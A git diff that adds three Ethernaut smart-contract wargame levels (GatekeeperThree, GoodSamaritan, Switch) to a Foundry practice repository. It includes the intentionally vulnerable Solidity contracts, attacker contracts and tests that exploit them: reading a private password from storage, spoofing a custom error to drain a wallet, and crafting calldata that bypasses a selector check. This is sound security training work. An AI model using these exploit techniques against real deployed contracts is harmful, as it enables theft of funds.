diff --git a/img/GatekeeperThree.png b/img/GatekeeperThree.png new file mode 100644 index 0000000..c7c01b6 Binary files /dev/null and b/img/GatekeeperThree.png differ diff --git a/img/GoodSamaritan.png b/img/GoodSamaritan.png new file mode 100644 index 0000000..77a9171 Binary files /dev/null and b/img/GoodSamaritan.png differ diff --git a/img/Switch.png b/img/Switch.png new file mode 100644 index 0000000..90919b7 Binary files /dev/null and b/img/Switch.png differ diff --git a/src/GatekeeperThree/GatekeeperThree.sol b/src/GatekeeperThree/GatekeeperThree.sol new file mode 100644 index 0000000..f296461 --- /dev/null +++ b/src/GatekeeperThree/GatekeeperThree.sol @@ -0,0 +1,77 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.10; + +contract SimpleTrick { + GatekeeperThree public target; + address public trick; + uint private password = block.timestamp; + + constructor (address payable _target) { + target = GatekeeperThree(_target); + } + + function checkPassword(uint _password) public returns (bool) { + if (_password == password) { + return true; + } + password = block.timestamp; + return false; + } + + function trickInit() public { + trick = address(this); + } + + function trickyTrick() public { + if (address(this) == msg.sender && address(this) != trick) { + target.getAllowance(password); + } + } +} + +contract GatekeeperThree { + address public owner; + address public entrant; + bool public allowEntrance; + + SimpleTrick public trick; + + function construct0r() public { + owner = msg.sender; + } + + modifier gateOne() { + require(msg.sender == owner); + require(tx.origin != owner); + _; + } + + modifier gateTwo() { + require(allowEntrance == true); + _; + } + + modifier gateThree() { + if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) { + _; + } + } + + function getAllowance(uint _password) public { + if (trick.checkPassword(_password)) { + allowEntrance = true; + } + } + + function createTrick() public { + trick = new SimpleTrick(payable(address(this))); + trick.trickInit(); + } + + function enter() public gateOne gateTwo gateThree { + entrant = tx.origin; + } + + receive () external payable {} +} \ No newline at end of file diff --git a/src/GatekeeperThree/GatekeeperThreeFactory.sol b/src/GatekeeperThree/GatekeeperThreeFactory.sol new file mode 100644 index 0000000..3e03ef3 --- /dev/null +++ b/src/GatekeeperThree/GatekeeperThreeFactory.sol @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.10; + +import '../BaseLevel.sol'; +import './GatekeeperThree.sol'; + +contract GatekeeperThreeFactory is Level { + + function createInstance(address _player) override public payable returns (address) { + GatekeeperThree gatekeeper_instance = new GatekeeperThree(); + return address(gatekeeper_instance); + } + + function validateInstance(address payable _instance, address) override public returns (bool) { + return GatekeeperThree(_instance).entrant() == tx.origin; + } + +} diff --git a/src/GatekeeperThree/GatekeeperThreeHack.sol b/src/GatekeeperThree/GatekeeperThreeHack.sol new file mode 100644 index 0000000..f20f7d4 --- /dev/null +++ b/src/GatekeeperThree/GatekeeperThreeHack.sol @@ -0,0 +1,40 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.10; +import "./GatekeeperThree.sol"; + +contract GatekeeperThreeHack { + + GatekeeperThree public gatekeeperThree; + + error PaymentRefused(); + + constructor(address _gatekeeperThree) { + gatekeeperThree = GatekeeperThree(payable(_gatekeeperThree)); + } + + function enter(uint256 password) public { + passGate1(); + passGate2(password); + passGate3(); + gatekeeperThree.enter(); + } + + function passGate1() internal { + gatekeeperThree.construct0r(); + } + + function passGate2(uint256 password) internal { + gatekeeperThree.getAllowance(password); + } + + function passGate3() internal { + payable(address(gatekeeperThree)).send(0.0011 ether); + } + + receive() external payable { + if (msg.sender == address(gatekeeperThree)) { + revert PaymentRefused(); + } + } +} diff --git a/src/GatekeeperThree/Readme.md b/src/GatekeeperThree/Readme.md new file mode 100644 index 0000000..1ed827e --- /dev/null +++ b/src/GatekeeperThree/Readme.md @@ -0,0 +1,19 @@ +# 28. GatekeeperThree + +**NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. + +**Original Level** + +https://ethernaut.openzeppelin.com/level/0x653239b3b3E67BC0ec1Df7835DA2d38761FfD882 + +## Walkthrough + +https://medium.com/@0xkmg/ethernaut-28-gatekeeper-three-walkthrough-for-solidity-beginners-1fd0a84f0967 + +## Foundry + +``` +forge test --match-contract GatekeeperThreeTest -vvvv +``` + +![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/GatekeeperThree.png?raw=true) diff --git a/src/GoodSamaritan/GoodSamaritan.sol b/src/GoodSamaritan/GoodSamaritan.sol new file mode 100644 index 0000000..939bba0 --- /dev/null +++ b/src/GoodSamaritan/GoodSamaritan.sol @@ -0,0 +1,102 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.10; +import "openzeppelin-contracts/contracts/utils/Address.sol"; + +contract GoodSamaritan { + Wallet public wallet; + Coin public coin; + + constructor() { + wallet = new Wallet(); + coin = new Coin(address(wallet)); + + wallet.setCoin(coin); + } + + function requestDonation() external returns(bool enoughBalance){ + // donate 10 coins to requester + try wallet.donate10(msg.sender) { + return true; + } catch (bytes memory err) { + if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) { + // send the coins left + wallet.transferRemainder(msg.sender); + return false; + } + } + } +} + +contract Coin { + using Address for address; + + mapping(address => uint256) public balances; + + error InsufficientBalance(uint256 current, uint256 required); + + constructor(address wallet_) { + // one million coins for Good Samaritan initially + balances[wallet_] = 10**6; + } + + function transfer(address dest_, uint256 amount_) external { + uint256 currentBalance = balances[msg.sender]; + + // transfer only occurs if balance is enough + if(amount_ <= currentBalance) { + balances[msg.sender] -= amount_; + balances[dest_] += amount_; + + if(dest_.isContract()) { + // notify contract + INotifyable(dest_).notify(amount_); + } + } else { + revert InsufficientBalance(currentBalance, amount_); + } + } +} + +contract Wallet { + // The owner of the wallet instance + address public owner; + + Coin public coin; + + error OnlyOwner(); + error NotEnoughBalance(); + + modifier onlyOwner() { + if(msg.sender != owner) { + revert OnlyOwner(); + } + _; + } + + constructor() { + owner = msg.sender; + } + + function donate10(address dest_) external onlyOwner { + // check balance left + if (coin.balances(address(this)) < 10) { + revert NotEnoughBalance(); + } else { + // donate 10 coins + coin.transfer(dest_, 10); + } + } + + function transferRemainder(address dest_) external onlyOwner { + // transfer balance left + coin.transfer(dest_, coin.balances(address(this))); + } + + function setCoin(Coin coin_) external onlyOwner { + coin = coin_; + } +} + +interface INotifyable { + function notify(uint256 amount) external; +} \ No newline at end of file diff --git a/src/GoodSamaritan/GoodSamaritanFactory.sol b/src/GoodSamaritan/GoodSamaritanFactory.sol new file mode 100644 index 0000000..e7e3028 --- /dev/null +++ b/src/GoodSamaritan/GoodSamaritanFactory.sol @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.10; + +import '../BaseLevel.sol'; +import './GoodSamaritan.sol'; +import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; + +contract GoodSamaritanFactory is Level { + + function createInstance(address _player) override public payable returns (address) { + GoodSamaritan samaritan_instance = new GoodSamaritan(); + return address(samaritan_instance); + } + + function validateInstance(address payable _instance, address) override public returns (bool) { + Coin coin = GoodSamaritan(_instance).coin(); + address wallet = address(GoodSamaritan(_instance).wallet()); + return coin.balances(wallet) == 0; + } + +} diff --git a/src/GoodSamaritan/GoodSamaritanHack.sol b/src/GoodSamaritan/GoodSamaritanHack.sol new file mode 100644 index 0000000..a2aff19 --- /dev/null +++ b/src/GoodSamaritan/GoodSamaritanHack.sol @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.10; +import "./GoodSamaritan.sol"; + +contract GoodSamaritanHack{ + + address public goodSamaritan; + + error NotEnoughBalance(); + constructor(address _goodSamaritan) { + goodSamaritan = _goodSamaritan; + } + + function attack() public { + GoodSamaritan(goodSamaritan).requestDonation(); + } + + function notify(uint256 amount) external { + if (amount <= 10) { + revert NotEnoughBalance(); + } + } +} diff --git a/src/GoodSamaritan/Readme.md b/src/GoodSamaritan/Readme.md new file mode 100644 index 0000000..dda570e --- /dev/null +++ b/src/GoodSamaritan/Readme.md @@ -0,0 +1,19 @@ +# 27. GoodSamaritan + +**NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. + +**Original Level** + +https://ethernaut.openzeppelin.com/level/0x36E92B2751F260D6a4749d7CA58247E7f8198284 + +## Walkthrough + +https://medium.com/@0xkmg/ethernaut-27-good-samaritan-walkthrough-5555f27393f8 + +## Foundry + +``` +forge test --match-contract GoodSamaritanTest -vvvv +``` + +![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/GoodSamaritan.png?raw=true) diff --git a/src/Switch/Readme.md b/src/Switch/Readme.md new file mode 100644 index 0000000..b5bab5b --- /dev/null +++ b/src/Switch/Readme.md @@ -0,0 +1,19 @@ +# 29. Switch + +**NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. + +**Original Level** + +https://ethernaut.openzeppelin.com/level/0xb2aBa0e156C905a9FAEc24805a009d99193E3E53 + +## Walkthrough + +https://blog.softbinator.com/solving-ethernaut-level-29-switch/ + +## Foundry + +``` +forge test --match-contract SwitchTest -vvvv +``` + +![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/Switch.png?raw=true) diff --git a/src/Switch/Switch.sol b/src/Switch/Switch.sol new file mode 100644 index 0000000..bc92f32 --- /dev/null +++ b/src/Switch/Switch.sol @@ -0,0 +1,41 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.10; + +contract Switch { + bool public switchOn; // switch is off + bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()")); + + modifier onlyThis() { + require(msg.sender == address(this), "Only the contract can call this"); + _; + } + + modifier onlyOff() { + // we use a complex data type to put in memory + bytes32[1] memory selector; + // check that the calldata at position 68 (location of _data) + assembly { + calldatacopy(selector, 68, 4) // grab function selector from calldata + } + require( + selector[0] == offSelector, + "Can only call the turnOffSwitch function" + ); + _; + } + + function flipSwitch(bytes memory _data) public onlyOff { + (bool success, ) = address(this).call(_data); + require(success, "call failed :("); + } + + function turnSwitchOn() public onlyThis { + switchOn = true; + } + + function turnSwitchOff() public onlyThis { + switchOn = false; + } + +} diff --git a/src/Switch/SwitchFactory.sol b/src/Switch/SwitchFactory.sol new file mode 100644 index 0000000..13cef05 --- /dev/null +++ b/src/Switch/SwitchFactory.sol @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.10; + +import '../BaseLevel.sol'; +import './Switch.sol'; + +contract SwitchFactory is Level { + + function createInstance(address _player) override public payable returns (address) { + Switch switch_instance = new Switch(); + return address(switch_instance); + } + + function validateInstance(address payable _instance, address) override public returns (bool) { + return Switch(_instance).switchOn(); + } + +} diff --git a/src/test/GatekeeperThree.t.sol b/src/test/GatekeeperThree.t.sol new file mode 100644 index 0000000..9ece2bc --- /dev/null +++ b/src/test/GatekeeperThree.t.sol @@ -0,0 +1,57 @@ +pragma solidity ^0.8.10; + +import "ds-test/test.sol"; +import "../GatekeeperThree/GatekeeperThreeHack.sol"; +import "../GatekeeperThree/GateKeeperThreeFactory.sol"; +import "../Ethernaut.sol"; +import "./utils/vm.sol"; + +contract GatekeeperThreeTest is DSTest { + Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); + Ethernaut ethernaut; + address eoaAddress = address(100); + + function setUp() public { + // Setup instance of the Ethernaut contracts + ethernaut = new Ethernaut(); + // Deal EOA address some ether + vm.deal(eoaAddress, 5 ether); + } + + function testGatekeeperThreeHack() public { + ///////////////// + // LEVEL SETUP // + ///////////////// + + GatekeeperThreeFactory gatekeeperThreeFactory = new GatekeeperThreeFactory(); + ethernaut.registerLevel(gatekeeperThreeFactory); + vm.startPrank(tx.origin); + address levelAddress = ethernaut.createLevelInstance(gatekeeperThreeFactory); + GatekeeperThree ethernautGatekeeperThree = GatekeeperThree(payable(levelAddress)); + ethernautGatekeeperThree.createTrick(); + vm.warp(block.timestamp + 10); + vm.stopPrank(); + vm.startPrank(eoaAddress); + + ////////////////// + // LEVEL ATTACK // + ////////////////// + + + // Create attacking contract and send enough ETH to execute the attack + GatekeeperThreeHack gatekeeperThreeHack = new GatekeeperThreeHack(levelAddress); + payable(address(gatekeeperThreeHack)).send(0.0011 ether); + // Read the password in the third storage slot + gatekeeperThreeHack.enter(uint256(vm.load(address(ethernautGatekeeperThree.trick()), bytes32(uint256(2))))); + + + ////////////////////// + // LEVEL SUBMISSION // + ////////////////////// + vm.stopPrank(); + vm.startPrank(tx.origin); + bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); + vm.stopPrank(); + assert(levelSuccessfullyPassed); + } +} \ No newline at end of file diff --git a/src/test/GoodSamaritan.t.sol b/src/test/GoodSamaritan.t.sol new file mode 100644 index 0000000..a4ca7ca --- /dev/null +++ b/src/test/GoodSamaritan.t.sol @@ -0,0 +1,46 @@ +pragma solidity ^0.8.10; + +import "ds-test/test.sol"; +import "../GoodSamaritan/GoodSamaritanHack.sol"; +import "../GoodSamaritan/GoodSamaritanFactory.sol"; +import "../Ethernaut.sol"; +import "./utils/vm.sol"; + + +contract GoodSamaritanTest is DSTest { + Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); + Ethernaut ethernaut; + + function setUp() public { + // Setup instance of the Ethernaut contracts + ethernaut = new Ethernaut(); + } + + function testGoodSamaritanHack() public { + ///////////////// + // LEVEL SETUP // + ///////////////// + + GoodSamaritanFactory goodSamaritanFactory = new GoodSamaritanFactory(); + ethernaut.registerLevel(goodSamaritanFactory); + address levelAddress = ethernaut.createLevelInstance{value: 1 ether}(goodSamaritanFactory); + GoodSamaritan ethernautGoodSamaritan = GoodSamaritan(payable(levelAddress)); + + ////////////////// + // LEVEL ATTACK // + ////////////////// + + // Create GoodSamaritanHack Contract + GoodSamaritanHack goodSamaritanHack = new GoodSamaritanHack(address(ethernautGoodSamaritan)); + + // Attack the contract and trigger an error with the right hash + goodSamaritanHack.attack(); + + ////////////////////// + // LEVEL SUBMISSION // + ////////////////////// + + bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); + assert(levelSuccessfullyPassed); + } +} diff --git a/src/test/Switch.t.sol b/src/test/Switch.t.sol new file mode 100644 index 0000000..172a092 --- /dev/null +++ b/src/test/Switch.t.sol @@ -0,0 +1,54 @@ +pragma solidity ^0.8.10; + +import "ds-test/test.sol"; +import "../Switch/SwitchFactory.sol"; +import "../Ethernaut.sol"; +import "./utils/vm.sol"; + +contract SwitchTest is DSTest { + Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); + Ethernaut ethernaut; + + function setUp() public { + // Setup instance of the Ethernaut contracts + ethernaut = new Ethernaut(); + } + + function testSwitchHack() public { + ///////////////// + // LEVEL SETUP // + ///////////////// + + SwitchFactory switchFactory = new SwitchFactory(); + ethernaut.registerLevel(switchFactory); + vm.startPrank(tx.origin); + address levelAddress = ethernaut.createLevelInstance(switchFactory); + Switch ethernautSwitch = Switch(payable(levelAddress)); + vm.stopPrank(); + + ////////////////// + // LEVEL ATTACK // + ////////////////// + + // We tweak the calldata to have the correct selector in position 68 but still be able to call turnSwitchOn. + // The idea is that the offset can be changed so that the bytes argument extracted isn't at position 68 in the bytes given. + // To do this, we can pass: + // turnSwitchOff.selector || bytes32(uint256(96)) || bytes32(uint256(0)) || bytes32(bytes4(turnSwitchOff.selector)) || bytes32(len(bytes_array) == 4) || bytes == turnSwitchOn.selector + // 4 bytes + 32 bytes + 32 bytes + 32 bytes + 32 bytes + 4 bytes + // That way, the calldata check for turnSwitchOff passes, but once the bytes are extracted we actually call turnSwitchOn(). + // More info on the abi encoding in the [Solidity docs](https://docs.soliditylang.org/en/v0.8.20/abi-spec.html#argument-encoding). + + bytes memory turnSwitchOffData = abi.encode(96, 0, Switch.turnSwitchOff.selector, 4, Switch.turnSwitchOn.selector); // Elements are left-padded with 0s to reach 32 bytes + bytes memory flipSwitchData = abi.encodePacked(Switch.flipSwitch.selector, turnSwitchOffData); // No padding because we want the first element to be only 4 bytes + address(ethernautSwitch).call(flipSwitchData); + + ////////////////////// + // LEVEL SUBMISSION // + ////////////////////// + + vm.startPrank(tx.origin); + bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); + vm.stopPrank(); + assert(levelSuccessfullyPassed); + } +} \ No newline at end of file